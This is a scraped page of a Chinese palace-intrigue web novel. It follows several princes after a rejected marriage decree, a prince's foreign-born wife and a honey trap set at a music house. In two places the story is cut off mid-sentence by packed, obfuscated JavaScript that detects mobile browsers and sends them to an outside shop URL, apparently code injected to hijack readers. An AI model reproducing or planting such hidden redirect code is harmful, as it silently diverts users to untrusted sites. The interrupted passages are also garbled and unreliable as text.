刘宁刚行几步,想到刘赞向来消息灵通,且他又与自己一同去过永州边境见哥哥,怎会不知哥哥已然娶妻?若她和母妃早知道哥哥已娶妻,便不会再为哥哥与温嘉诚指婚了。 现在非但没能拉拢温国公,反而让温国公丢了脸面。 刘宁想到此处,旋即折返,指着刘赞痛骂一顿,骂完后,带着怒气一把推开刘赞和刘昶二人,朝着云清宫去了。 刘赞被刘宁骂了一通后,鼻子都气歪了,一会儿看看刘昶,一会儿看向刘宁的背影,摇着周中扇子生着闷气道:“这,这算什么事啊!又不是我让四哥拒绝指婚的,怎么又成我的不是了!” 刘赞看到刘昶,质疑道:“你不是护送四哥回京的吗,你早就知道了四哥有了妻子,你为什么不说?” 刘赞耍起脾气,言语不满地气呼呼道:“依我看,该挨骂的是你。” 刘昶笑着赔不是,安抚着刘赞的情绪:“是是是,怪我怪我。” 刘赞听后,上下打量一番刘昶,心中有了主意,伸出手指头在刘昶眼前晃悠,一脸坏笑道:“那是不是得有点这个啊?” “去去去。”刘昶明白了刘赞的意思,伸手将刘赞拨开,头也不回地朝着东华宫走去。 刘赞望着的背影,喊道:“赶明儿个我还想着带你去京中逛逛呢,没钱可不行啊!” 刘昶只装作没听见,并不理会刘赞,自顾自地往东华宫赶去。 刘昶到东华宫,抬眼看见刘元靠在榻上看书,刘安在旁边悠闲地画画,仿佛今晚发生的事与他们无关。 刘昶气呼呼地坐到刘元面前,直直地盯着刘元,等着刘元问他话。 刘元抬眼看了刘昶一眼,并不理会他,自顾自地翻阅着手中的书。 刘昶见刘元当没看见他一样,顿时一股委屈涌上心头,把脸一撇,在一旁生着闷气。 刘安见刘昶气鼓鼓的样子觉得甚是可爱,不由得笑出来,待放下笔,笑着招呼刘昶过来,道:“昶儿,你来看看,我这幅画怎么样?” 刘昶听到刘安招呼,带着委屈来到刘安身旁,见大姐姐画的莲花亭亭玉立,花开得很好,一副岁月静好的模样,气呼呼地说道:“好。” 刘安回头看了刘昶一眼,笑到:“怎么了,在为今儿晚上的事儿愤愤不平吗?” “大姐姐,你们是不知道,今日宫宴上,我和四哥弹劾的明明是晋国公,父皇却处置了的二哥,对他杖责幽禁,可二哥只不过是火上浇油多说了几句。我不明白。” 刘昶说着说着扭过脸去,不想让刘安看到他的表情,嘴里不停道:“可事情都是晋国公做的,又不是二哥所做,罪魁祸首却没能受到惩罚。” 英王刘元听不下去了,放下书,看着刘昶道:“你还记得父皇是怎么说老二的?” 刘昶吸了吸鼻子,见刘元搭理他,快步走到刘元身旁 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可是若无太子这般纵容,蔡桐又如何敢般行事? 可是即便是太子日后登基,有这样一位黑白不分的君主,又怎能让臣民信服呢? 英王刘元打断刘昶的话,语气略带些不耐烦道:“没有什么好可是的,我们这些皇子皇女们就安心辅佐好太子即可。” 自刘元与刘昶一同护送四皇子刘茂回京途中,刘元便察觉到了七弟刘昶与四弟刘茂过于亲密,原先以为是手足之情,没想到他们竟然密谋着弹劾晋国公,不知下一步是不是就要扳倒太子,再下一步便是要让四弟做太子了? 可眼下局势暗藏内忧外患,经不起他们这般折腾,况且四弟刘茂又自小在胡人那边长大,又娶了胡人公主为妻,若改换他为太子,只怕胡人会趁机南下,踏平大江,到时便再无挽回的希望了。 “晋国公的事,父皇心中自有谋算,你放心,父也不会冤了任一个,不会放过任何一个,只是现在还不到时机,需得耐心等待。”刘安耐心地补充道,只为让刘昶安心,随即苦口婆心劝解刘昶道:“老二就是你的前车之鉴。往后你一定要谨言慎行,安心在太子手下办事,莫要再参与这些弹劾争斗之中。” 刘昶听后看了眼刘安,而后认真地点点头。 刘安见刘昶听进去了,长舒口气,且如今她也说乏了,站起身来,说道:“天色也不早了,小七,你同我一起回去吧,别打扰你英王兄休息了。” 说罢,便带着刘昶告别刘元,离开了东华宫。 刘昶与刘安离了东华宫,因东华宫与福康宫仅隔一睹宫墙,经过一道宫门即可到达福康宫,二人便没有传步撵,一起并肩在宫道上走着。 刘安见四下无人,悄声问道:“宫宴上发生了什么?怎么父皇早早便离席了?” 刘昶如是说道:“贵妃娘娘回席后,便求父皇为四哥和温国公家的女儿赐婚。四哥已有妻子自然不愿意,当着众人的面便拒绝了,父皇便恼了。” 永安公主刘安听后怔住了,不由得驻足,吃惊地看向刘昶,问道:“娶妻?” 不过随后刘安很快调整好神情,继续边走边问道:“是那个随行进京的胡人公主?” 刘昶见刘安猜得不错,兴致勃勃道:“正是,四嫂虽是胡人公主,可却是和亲公主的后代,身上留着我们汉人的血,又与四哥惺惺相惜,实乃佳偶天成。” 刘安听刘昶这般说,不由得白了刘昶一眼,一时无语地落下刘昶快走几步,父皇向来最是讨厌胡人,这傻孩子又不是不知道。 七皇子刘昶快步追上刘安,见四下无人,低声说道:“大姐姐——” “嘘。”刘昶刚一开口,刘安便制止了他,刘安摇着手指示意他闭嘴,噤声道:“刚刚是怎么说的?” 刘昶想到了刘元交代的谨言慎行,便不再说了。更何况大姐姐和大哥哥是不会害他的,那就听他们的吧。 刘安抬头看到福康宫的匾额,便打发刘昶道:“七弟,今日刚回来还没来得及见过容嫔娘娘吧,明日一早你去向你母妃请安问好,别让她担心。快回去吧。” “是。”刘昶不情愿地道别刘安。 虽然心中有很多不解要大姐姐解答,但大姐姐今日要休息了,以后有的是时间,以后再问便是,且大姐姐是真心待他好,绝不会害自己,听她的准没错。 14. 未定(四)还朝进宫 翌日,四皇子刘茂带着王妃还朝进宫拜见承道帝。 吴善辅上前一步拦在刘茂面前,道:“秦王殿下,皇后娘娘和永安公主在殿内,陛下吩咐了不见任何人,还请二位殿下先回去吧。” 还朝昨日见宴席提早结束,便问了刘茂的小厮,从刘茂的小厮那里知晓了接风宴提前结束的原因,竟是因她惹得刘茂与承道帝之间不快,且今日承道帝又不肯见他们二人,因此还朝心中不免有些忐忑。 还朝不安地看向刘茂,低声问道:“四郎,父皇是不是对我有些不满?” 刘茂轻轻捏了捏还朝的手,安慰道:“你不要多想,想来是政务紧张,父皇不得闲见我们,我们在殿外请安吧,让父皇知晓我们来过。” 还朝应声,与刘茂福宁殿外跪下行礼问安:“儿臣刘茂、儿媳还朝拜见父皇母后,愿父皇母后圣体安康。” 殿内的皇后与永安公主刘安听到四皇子刘茂与王妃的问安声,纷纷停下手中动作,抬眼看向承道帝,想知道承道帝会有什么反应。 殿内的承道帝一想到昨日的接风宴,四皇子刘茂不止挑事还顶撞他,刚回来就闹得那样难堪,心里就多少有些不痛快,因此并不想见他们,便让永安公主去打发了。 皇后见承道帝如此处置,心中自觉舒畅不少,嘴角不由得上扬,面上浮起笑意。真是如哥哥晋国公所说的一样,陛下自从得知刘茂娶了胡人的公主,竟连见都不想见刘茂了。 昨日承道帝还想为刘茂和温国公家的女儿赐婚,着实把皇后惊吓到了,刘茂的生母张贵妃与温国公夫人都出自齐国公府,若再让刘茂与温嘉诚成婚,那三大国公中的齐国公与温国公便都会成为刘茂的左膀右臂,于太子实在是不利。 却不想刘茂竟一口回绝了承道帝赐婚的旨意,把承道帝与温国公都得罪了,昨日皇后都差点笑出声了。先前皇后还在担心刘茂回京会动摇刘牧的太子之位,只是没想到刘茂竟然这般色令智昏,且又被承道帝赶去陌南,哪里还有即位的可能呢? 昨日贵妃求承道帝赐婚倒是提醒了皇后,太子也是到了该成婚的年纪,先前她早就暗自选定了太子太傅王落儒的孙女王润蕾和晋国公的小女儿蔡岑,不过皇后对二人多少有些不满意,不是年纪太大就是年岁尚小,因此皇后一直拖着。 昨日刘茂拒了赐婚,想来温国公也不会让女儿温嘉诚再上赶着嫁与刘茂,如此一来,皇后倒觉得温嘉诚很适合做这个太子妃呢。 皇后继续笑意盈盈地翻看着面前众多适龄女子的画像与资料,心中已打定主意,如今这些不过是走个过场,待四皇子刘茂去了陌南,再向承道帝提及太子成婚一事,想来便十拿九稳了。 永安公主刘安迈出福宁殿,看着跪在地上的刘茂与还朝夫妇二人,忙走下台阶扶起二人,寒暄道:“四弟,四弟妹,快快起来。” 刘茂带着还朝向刘安施礼,随即为还朝介绍起刘安:“还朝,这是我大姐姐永安公主。” 刘安满眼笑意地看向还朝,眼神温柔地上下打量着还朝。 刘安看着面前的还朝,越看心中越觉得喜欢,不由得握向还朝的手,笑着问道:“在京中住得这几日,可还住得舒适吗?茂儿待你可还好?” 还朝见刘安这般温柔,便放下心中的忐忑,一一笑着答道:“一切都好,四郎待我也很好,劳烦大姐姐挂心了。” 刘安笑道:“那我便放心了,若茂儿有让你生气的地方,你尽管打发人来宫中找我,我自替你去出气。” 还朝和刘茂听后不由得相视一笑。 刘安继续笑道:“昨日你们才回京,想来还不曾拜见过贵妃娘娘吧?” “并不得空见。”还朝温柔回道。 刘安听后笑着面向刘茂道:“那你们先去见过贵妃娘娘吧,自你离京后,贵妃娘娘便多有思念,如今你既已回京,便多去见见贵妃娘娘吧,以解她的思念之哭啊!” 旋即刘安面向还朝道:“父皇如今政务繁忙,恐不得空,若有时间自会传唤你们的。” “是。”四皇子和还朝拜别永安公主,离开福宁殿。 走出宫门,还朝见刘茂脸色不悦,安慰道:“四郎,大姐姐不是说父皇忙吗,并不是有意不见我们的。” 刘茂听后挤出一个笑脸,心中苦涩。昨日刘茂顾忌还朝怀有身孕,怕她担心,并为将昨晚他与七弟弹劾晋国公的事情告诉还朝。 六皇子刘赞和七皇子刘昶刚从东六宫过来,约着一同去京中游玩,刚至福宁殿,便碰到了刘茂和还朝,二人笑着打招呼道:“四哥,四嫂!” 刘赞摇着折扇笑道:“四哥四嫂,我正要带着七弟去京中转转,不妨同去?” “四哥你不是快要去陌南了,还没去过京中的音坊吧,我们一同去京中的音坊,听说音坊有位……”刘昶欲拉着刘茂一起去,被刘赞碰了下胳膊打断了话语,刘昶很是不解,白了刘赞一眼。 还朝眉头微蹙,问道:“陌南?” 还朝心中想着,去陌南也好,远离权力的漩涡,能安安稳稳地度过一生。 刘茂见还朝如是问,向还朝解释道:“父皇封我为秦王,封地陌南。待我们见过母妃后,在京中待上两三日就启程去陌南。” 刘茂岔开话题道:“我与还朝先去拜见母妃,今天就不同去了。改日,我再与二位弟弟同去。” 刘茂和还朝拜别刘赞和刘昶后,朝着贵妃的云清宫赶去。 贵妃一见刘茂带着这胡人公主还朝来了,也未给二人赐座,顿时摆起脸来,上下打量着这个大胡公主。 贵妃早就看好了温国公家的女儿温嘉诚,因此特在接风宴上求承道帝赐婚,却没想到刘茂竟早与大胡的公主成亲。 贵妃心中很是不满,想着定要给这个大胡公主一个下马威,因此面无表情地问道:“还朝,你初来大江,还适应吗?” 还朝低头羞涩笑道:“除了偶有孕吐外,并未有什么不适。” 孕吐?贵妃听后一愣,而后十分惊喜,她也没想到儿媳竟有孕在身,先前想要为难还朝的心思都烟消云散了。 贵妃见还朝还站着,脸上不免有些尴尬,呵斥宫人道:“一个个愣着干什么,不知道好生伺候着王妃吗?” “娘娘,是婢子见到二位殿下一时欣喜,竟给忘了。”李尚宫见状忙笑着站出来往自己身上揽,忙命宫人给刘茂和还朝搬来椅子,给二人奉茶。 贵妃对这位还朝公主还不甚了解,且在得知还朝有孕后,便想同还朝说些体己话,不过刘茂这个大男人在这里还是多有不便,于是贵妃便有意支开刘茂,道:“茂儿,你可向你父皇请过安了?我心里面有说不尽的话要同还朝公主说,你先去见过你父皇吧。” 刘茂笑道:“母妃,父皇如今繁忙,让儿子先来拜见母妃。” 贵妃听后顿了一顿,思索片刻后道:“你大哥哥大姐姐可都见过了?你快去忙你吧,我们娘俩说些体己话,你在这边多少还有些不方便呢。” 贵妃也不遮掩了,笑着便赶刘茂离开。 “母妃——”刘茂不放心,昨日他拒了赐婚,惹恼了父皇和温国公,因此担心贵妃会因此为难还朝,出言阻拦道。 “四郎,你先去忙吧。”还朝笑着说道,“我一见母妃,就觉得十分亲切,想和母妃多说说话。” 贵妃听后也笑着摆手让刘茂退下,拉着还朝的手走进内殿。 贵妃知道刘茂一根筋的脾气,知晓他昨日弹劾晋国公不成功便会想其他的办法。可昨日宴会后承道帝特地来敲打过她,警告她太子只能是太子,警告她不要有非分之想。 贵妃原还想着茂儿回京后能够撼动刘牧的太子之位,却没想到低估了刘茂在承道帝心中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274211|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地位,也没想到承道帝心中竟然清楚得跟明镜儿似的,什么都知道,就连他们谋划茂儿回京的细节都一清二楚。 且茂儿不日便要去陌南,贵妃不由得放弃了要与太子争斗的心,但依茂儿的脾气,只怕不会轻易放弃。 贵妃今天看到温柔的还朝,看到还朝与刘茂之前感情甚好,便想着让还朝能够时时规劝着刘茂,因此特意支走刘茂。 刘茂无奈,只得先退下。 刘茂漫无目的地走至宣政门处,正巧遇着六皇子刘赞与七皇子刘昶二人。 刘赞见到刘茂赶来,笑问道:“四哥,你今日可得空了?” 刘茂随意找了个由头搪塞过去,笑道:“还朝刚到京中,我想挑些好玩的玩意儿给她解闷儿。” 刘昶拍手笑道:“四哥你算是找对人了,六哥最是知道京中哪里最好玩了,让他给我们带路,定要给四嫂寻遍京中所有有趣之物。” 刘赞略带不满地啧了一声,白了刘昶一眼,而后面上带笑,凑到刘茂耳旁低声说道:“四哥何必亲自去呢,原不必这么劳累,我命人挑好送到你府上就是。” 旋即刘赞道:“京西畅音坊的沈韵姑娘,琵琶实乃京中一绝,我好不容易才预约到的,四哥不妨与我们同去。” “好。”刘茂笑着应允,佯装客气玩笑道:“那便托六弟的福了。” “哈哈哈哈哈,四哥实在客气。”刘赞哈哈大笑,收起折扇在手中拍着。 刘宁逮到刘昶,打趣道:“江八郎,不知道本宫送你的粮草可还及时?” 三人其乐融融相聊甚欢,正欲出宫,便听到了五皇女刘宁的声音,三人扭头看去,只见刘宁蹦蹦跳跳地朝着三人走来。 刘昶笑着回应道:“多谢五殿下的粮草,若没有殿下慷慨解囊,我哪里能大破敌军呢?” 说罢,刘昶抬手向刘宁作揖玩闹道:“五殿下在上,请受小将一拜!” 刘宁见七皇子刘昶向她作揖行礼,掩嘴一笑,满脸得意地走向刘昶,傲娇打趣道:“几日不见,你这么会说话啦?” 刘昶听后则是低头笑笑。 刘茂见状略带不解地看着二人,宠溺笑问道:“妹妹,七弟,你们这是在打什么哑谜?怎么我竟听不懂?” 刘宁瞥了刘茂一眼,并不回答,一脸欣喜期待地反问道:“你们这是要出宫去哪儿玩啊?我也要去!” 刘昶嘴快答道:“我们要去——” 不待刘昶说完,刘赞反应迅速地捂住刘昶的嘴,在刘昶后腰上拧了一把,刘昶这才闭嘴不答。 刘宁见刘赞的反应似有猫腻,挑眉玩味一笑,抚摸了下头上的珠钗,拉长音调道:“无妨~,你们去玩你们的,我这就去福康宫找大姐姐玩,待会再和大姐姐一同去见父皇,哼!” 刘宁给了刘赞一个眼神,佯装扭头就走,刚走两步,刘赞和刘昶便一溜小跑拦住她。 “五姐五姐,你不要告诉大姐姐和父皇!” “我们出宫遇到什么好玩的,都给你带一份!你看可好?” 刘茂笑着上前一步,道:“阿宁,还朝在母妃宫中,初见母妃,恐有礼仪不周之处,劳烦你去看看,帮着还朝些。” 刘茂实在担心还朝,担心贵妃会为难她。 刘茂心中知道,父皇和母妃均不喜胡人,对他娶胡人女子为妻甚为不满。可还朝于他刘茂有恩,若无还朝公主,只怕他这一辈子都不可能再回到大江,所以无论如何,他都要护还朝周全。 “好,哥哥放心。”刘宁拍着胸脯向刘茂保证,有她在定会看护好嫂子的。 “那你们回来可别忘了答应我的!记得给我带宫外的好东西!” 刘宁边走边向三人挥手招呼。 “好!” 三人见刘宁离开,便一同骑马去畅音坊听这京中一绝的琵琶去了。 15. 未定(五)知恩图报 三位皇子来到畅音坊,在预定好的雅间内等了好一会儿,酒都喝了一壶了,沈韵都还未出现。 七皇子刘昶等得有些不耐烦,略带些不满地吐槽道:“这沈姑娘真是好大架子,竟敢让三位皇子等这么久。”说罢,手中的酒杯重重地摔在桌上。 四皇子刘茂耐心劝慰道:“七弟勿急,这技艺高超之人,架子总归是要大一点的。若真如传闻那样乃京中一绝,我们再多等些时刻又有何妨?” 刘昶听后撇撇嘴,又命小厮上来一壶新酒,斟酒继续等着。 六皇子刘赞低头笑而不语,将杯中酒一饮而尽,摇着手中的折扇。 不多时,沈韵未至,四个丫鬟先来了,斟茶的斟茶,布置座位的布置座位,将沈韵的位置清扫一番。 刘昶冷眼看着,心中不屑,呵,好大的排场。 只听得一阵环佩叮当作响间,沈韵一袭轻衣,抱着琵琶姗姗来迟。 丫鬟为沈韵拉好凳子,待沈韵坐下后,在沈韵与三位皇子之间拉起一道纱帘,将沈韵与宾客隔绝。 沈韵放好琵琶,摆好架势,调好琴弦,轮指试音。 琵琶在沈韵手下发出悦耳的声音。 四皇子刘茂乜视着沈韵的举动,待听到琵琶音后,忍不住赞叹道:“好琴!” 沈韵听到刘茂的夸奖,隔着纱帘朝刘茂微微一笑,开始弹琵琶。 琵琶音清脆,宛若玉珠落在玉盘中,很是悦耳动听。 七皇子刘昶虽不懂乐理,但也能听出来弹得确实不错,甚至比宫中的乐师还要好些,真担得起这京中一绝的称号,也不怪这沈韵架子大。 四皇子刘茂因妻子还朝很喜欢琵琶,因此对琵琶也是有些了解,他听得出沈韵所弹琵琶前期曲调的欢快,以及藏在中期曲调中的的忧愁、哀怨、不甘,虽藏得很隐秘,但用心去听总是能听出来的。 刘茂又想到自己曾远离父母十二年,如今又要离父母而去,不禁心中也泛起了忧愁,情绪郁闷地接连饮着酒。 六皇子刘赞在暗中观察着刘茂的情绪,见他颇为郁闷地接连饮酒,忙出手夺过刘茂的酒杯,制止道:“四哥,再喝可就要醉了。” 刘茂松散地歪坐着身子,醉眼朦胧地看向六弟刘赞。 此时,沈韵一曲弹罢。 沈韵掀起纱帘,抱着琵琶从纱帘后走出来,含情脉脉地看着着刘茂,眼神柔情似水,柔声道:“殿下,我与你颇有眼缘,想单独给你奏上一曲。” 沈韵说罢,垂头站在刘茂桌前,等着刘茂的反应。 刘茂盯着眼前的酒杯默不作声,他摸不准这沈韵葫芦里卖的是什么药。 六皇子刘赞见沈韵如是说,嘴角微微上扬,不怀好意地笑着说道:“四哥,自沈韵姑娘来到这畅音坊后,还从未给宾客单独弹奏过呢,四哥真是好福气啊!”说罢,便推搡着七皇子刘昶走出了房间,把雅间留给刘茂和沈韵,还贴心地给二人带上了门。 “六哥,为什么这沈韵只弹给四哥听,不给我们弹?我也想听。”刘昶被刘赞推搡出了门,在门外不解地问刘赞。他也觉得好听,怎么不再给他弹一曲? 刘赞故作神秘地凑近刘昶,看着刘昶好奇又期待的眼神,悄声道:“啧,不说了,说了你也不懂。” 刘赞说完把玩着折扇,敲了下刘昶的肩,便自顾自地走下楼梯,边走边说道:“走,我们去楼下喝酒去,楼下秦姑娘的舞也是京里面数一数二的,我带你去看看。” 刘昶撇了撇嘴,跟上了刘赞的脚步。 雅间内,沈韵与刘茂还各自保持着方才的姿势。 刘茂依旧默不作声,虽说他酒喝多了,可脑子还是清醒的,他清醒地察觉到自己像是入了圈套。 美人计?目的是什么?报复?反击? 谁布下的?六弟刘赞?太子党羽? 刘茂轻蔑一笑,他倒想看看,他都要离开京城了,太子他们还能耍出什么花招。 刘茂放下酒杯,伸手示意沈韵道:“弹吧。” 沈韵一反常态,放下手中的琵琶,倏地双膝跪地,头伏在地上,言辞恳切地开口道:“今日得见殿下真颜,草民此生无憾了。殿下的大恩大德,草民今生无以为报,惟愿来世缬草衔环,方能报答殿下的恩德。” 沈韵这一番话把刘茂听得是一头雾水,他与沈韵素不相识,何来恩德一说?怕不是个圈套,刘茂不敢放下警戒,只冷眼看着跪在地上的沈韵。 沈韵未听到刘茂说话,大着胆子抬头望向刘茂,见刘茂不相信自己所说的,忙情真意切地解释道:“在草民刚未出生之时,祖父曾是京中一名芝麻小官,因断错了案,被革职问斩,全家也因此被流放,后恰逢殿下诞生,陛下大赦天下,草民有幸,去了罪臣后代的身份,也才有幸进了这畅音坊,也才有幸得见殿下。” 刘茂听后有些动容,但仍皱着眉头,问出心中的疑惑:“那今日这是?” 沈韵如实答道:“殿下,沈韵也是遵照我们坊主的命令,在此试探殿下,坊主想看看殿下是个什么样的人。若殿下是那轻浮放浪之人,我便以清白来栽赃殿下,让殿下受万人唾弃。” “不过沈韵相信殿下的为人,绝不是那种轻浮之辈。” 刘茂对沈韵的话半信半疑,试探着问道:“坊主?是谁?可与太子有关?” 沈韵摇头道:“这些我便不知了,我只知道坊主见我们这些女孩子可怜,都把我们救下了,畅音坊便是我们的家。” “坊主真心待我们,我们也想回报坊主,因此坊主的命令沈韵不敢违抗。” “一边是让我活下来的坊主,一边又是让我免去罪臣后代身份的殿下,沈韵两边都不想辜负。” 沈韵抬头望向刘茂,见刘茂脸上还带着疑惑,带着探究的意味,沈韵急切解释道: “殿下不必怀疑沈韵报答殿下的这颗真心,虽说殿下从未见过我,也从未听说过我这号人,但沈韵自幼便沐浴在殿下的恩德之下,今日殿下就算是让沈韵死,沈韵也绝不推辞半句。” 沈韵怔怔地看向窗台,言辞坚定道:“恐唯有一死,方能两不相负。”说罢,一个小跑,跑至窗前。 刘茂眼疾手快,迅速起身拦在沈韵身前,箍住沈韵的胳膊,浅笑一声:“你若真有心报恩,此举岂不更是害了本宫?” 沈韵听后,方才冷静下来。 “那……那待会儿要怎么办?” 刘茂松开箍着沈韵的手,并不理会沈韵的问题,岔开话题问道“你所言可属实?” 倏地,刘茂脸色一变,用力捏住沈韵的半张脸,脸色阴沉问道:“几句真?几句假?” 沈韵被刘茂捏得痛得说不出话,只能眼含泪花地看着刘茂。 刘茂手一甩,把沈韵推出一段距离,重新坐下斟酒喝。 沈韵挣扎着跪在地上,发誓道:“沈韵今日所说若有半句虚言,便叫五雷轰顶,永不超生。” 刘茂冷眼看过去,片刻后才道:“好,本宫便信你一次。” “《破阵曲》你可会弹?” 沈韵看了眼刘茂,随即点点头。 刘茂摆手示意沈韵弹奏。 刘茂心中已经大致猜到了是谁,他现在等,在等做局的人来入局。 沈韵见状,竖起琵琶开始弹奏。 楼下的六皇子刘赞估摸着过了一段时间,便派人上来打探雅间内什么情况。 派去的人附在刘赞的耳边悄声回道:“六殿下,琵琶声停了。” 刘赞听后意味深长一笑,随即饮尽杯中酒,起身拉着七皇子刘昶便往楼上的雅间去。 “走,我们去找四哥玩儿。” “诶——!”刘昶冷不丁地被刘赞拉走,差点没站稳摔倒。 六皇子刘赞和七皇子刘昶刚至雅间门口,便看到沈韵打开雅间的门,从雅间内走出来。 刘赞见状探头朝雅间内看去,与刘茂四目相对。 刘茂见到刘赞上来,也验证了他心中的猜想,还真是六弟设的局。 能在最为繁华的京西开这么大一间畅音坊,包罗京中贵客,除了只爱钱财六皇子刘赞有这样的能力,还会有谁? 呵,什么畅音坊从为露过面的坊主,也就瞒得了沈韵这些女孩子,瞒不过他。 刘赞把玩这手上的扳指,玩笑道:“四哥,沈韵姑娘,不知道二位交流了什么,我也略通些音律,不妨沈姑娘也指教下我。” 沈韵脸上漏出不屑,白了刘赞一眼,并不予以理会,但碍于刘赞的皇子身份,冲他微微颔首后,便抱着琵琶高傲地离开了。 刘赞望着沈韵的背影,眼神戏谑地看向刘茂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274212|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘茂唇角微微勾起,落落大方答道:“待我和还朝去陌南的前,我邀请沈韵姑娘去我府上演奏。” “沈韵答应了?”刘赞听后一脸的不可置信,语气带着疑惑问道。 这沈韵向来高傲,先前晋国公世子设宴,他邀请了数次,沈韵都不肯上门演奏,就连晋国公世子来畅音坊想多听一曲,沈韵也不肯多弹一下,怎的这么轻松便答应的四哥的邀约? “四哥,你快给我说说这怎么回事?”刘赞缠着刘茂,让他讲讲他是怎么让沈韵答应他的。 “这沈韵姑娘知道还朝很喜欢琵琶。又因还朝是和亲公主的后代,对还朝很是钦佩。这才愿意来我府上演奏,说到底啊,我还是托还朝的福呢。”刘茂认真地解释道。 沈韵听得四皇子刘茂是为了国家才去大胡做质子,对刘茂的身世颇有感怀。在与刘茂交谈后,又得知王妃乃是和亲公主的后代,又听闻王妃曾在大胡时常听和亲公主弹起琵琶,因此很喜欢听大江的琵琶。 沈韵对王妃还朝多有好奇,再加上爱屋及乌,便答应了刘茂的邀请。 “人生难得一知己,天涯何处觅知音,不过是她们女子间惺惺相惜罢了。” 刘茂说罢,懒得再与六弟刘赞纠缠,便甩下刘赞和刘昶先走了。 刘赞听后,不禁嗤笑一声,男人都喜欢搞红颜知己这一套,这沈韵还是有点手段的。 刘赞是音坊背后的老板,因接风宴上刘茂弹劾晋国公,承道帝虽没当众怪罪太子,但事后对太子也有所冷落。刘赞身为太子党的人,自然不愿见到太子被冷落。 这沈韵原是罪臣之后,因四皇子五皇女这对龙凤胎出生后天降祥瑞,承道帝大赦天下,这才摆脱了罪臣之后的身份,沈韵便一直拿四皇子五皇女当她的恩人,时刻都想着能见恩人一面。 因此刘赞便借着沈韵这个心理,将错就错抓住四哥刘茂的把柄,以此来挟制刘茂,若刘茂以后再与太子作对,就把四哥这个把柄亮出来,甭管真假,到时满京的风言风语,父皇定不会让这样“德行有亏”的皇子做太子的。 不过刘赞未曾料到,沈韵虽说奉他这个坊主的命令行事,但沈韵并未见过坊主真容,因此并不知道坊主便是面前的六皇子刘赞,再者虽是在刘赞的音坊下讨生活,但为人高傲,又自恃琵琶天下一绝,因而并不屑于此等龌龊手段。 刘赞见四哥刘茂先走一步,忙拉着七弟刘昶跟上。 刘昶被这两个哥哥的行为弄得有些摸不着头脑,只以为六哥刘赞是在因沈韵而争风吃醋。 刘茂他们三人离开畅音坊,在街上闲逛,却不想看到了永安公主刘安的马车。 刘昶率先认了出来:“那是大姐姐的马车?” 刘赞望着马车的方向,思索着,再往南去便是二哥的府邸了,大姐姐这是要去见二哥吧。 刘茂顺着看过去,明知故问道:“那边不是回宫的路吧,也不是去公主府的路吧?” 二皇子刘仲被圈禁杖责,尚没人敢去探望他。没想到大姐姐胆子这么大,这么不避嫌。不过大姐姐刘安甚得父皇喜欢,难道这是父皇的意思? 四皇子刘茂与二位弟弟用试探的口风与二位弟弟商量道:“二哥昨日被杖责,我们这些兄弟的也没去看过他。不如现下同大姐姐一起去探望下二哥?” 刘赞呵呵一笑,婉拒了刘茂的提议:“父皇不喜欢老二,昨日替老二说话的那两个,已经被罢官了。” “四哥,你要是想去你自己去吧,我可不敢。” 刘昶听六哥这么说,发倔道:“都是一家子兄弟,都是父皇的孩子,怕什么。” 刘茂出言打断刘昶的话,笑道:“我和七弟若去了,待父皇知道,只怕板子会挨在我和七弟身上。” 刘昶原本还想着去探望二皇子刘仲,毕竟二哥是因他们弹劾晋国公而受到牵连,刘昶心中有些愧疚。但听到刘茂这么说,又想起昨晚大姐姐交代他的话,只得暂且做罢。 三人继续闲逛一段路,因四皇子刘茂担心还朝,想着快些进宫去看看;六皇子刘赞今天布下的局已结束,再待下去也觉得没甚意思;七皇子刘昶见二位兄长都不言语,顿觉趣味少了许多。 行至皇宫宫门处,刘茂得知秦王妃已由五皇女刘宁送去秦王府,便与六七二位皇子分别,朝着秦王府去了。 16. 未定(六)遵循妻愿 四皇子刘茂回到秦王府,问过府中下人后,得知王妃还朝自从宫中回来后就一直待在书房等他,他下马后便急急忙忙朝着书房奔去。 “还朝!” 还朝听到刘茂推门进来,望着刘茂微微歪头笑着。 刘茂见还朝安安静静地坐在桌前,关切地上下扫视一圈还朝后,担忧问道:“母妃没有为难你吧。” 还朝听后掩嘴一笑,笑着摇头道:“母妃人很好,听说我有孕在身后,对我多有叮嘱,还赏赐了不少东西呢。” 还朝为刘茂解下外衣,面上带笑,继续说道:“后来五妹妹也来了,母妃又拉着妹妹和我说了好一会儿话呢,母妃还让妹妹常来找我玩耍解闷儿呢。” 刘茂听后松了口气,笑容浮上脸,宠溺地刮了下还朝鼻头,笑道:“阿宁最是贪玩有趣的,再过几日我们启程时,让她与我们同去陌南,有她陪着你,你路上也不会孤单烦闷了。” 还朝听到刘茂提及陌南,勉强一笑,抬眼看向刘茂,欲言又止,旋即又垂下眼眸。 刘茂看出了还朝的犹豫,柔声说道:“你我是夫妻,夫妻之间还有什么话是不能说的吗?” 刘茂继而轻笑一声,道:“有什么话直说就是,你我之间不用这般犹豫。” 还朝想了想,转身踱了几步,还是决定把压在心里的话说出来。 “四郎,自我们入京那刻起,我便已知此行之路必是一条艰难险阻的路,稍有不慎便会万劫不复。可是……” 还朝情绪激动,转身望向刘茂的眼睛,道:“可是我竟不知……” “不知事情的进程竟然发展这么快!” “不知第一步便走得这般艰难!” “怎么突然说起这个?”刘茂心中疑惑,讪笑一声。 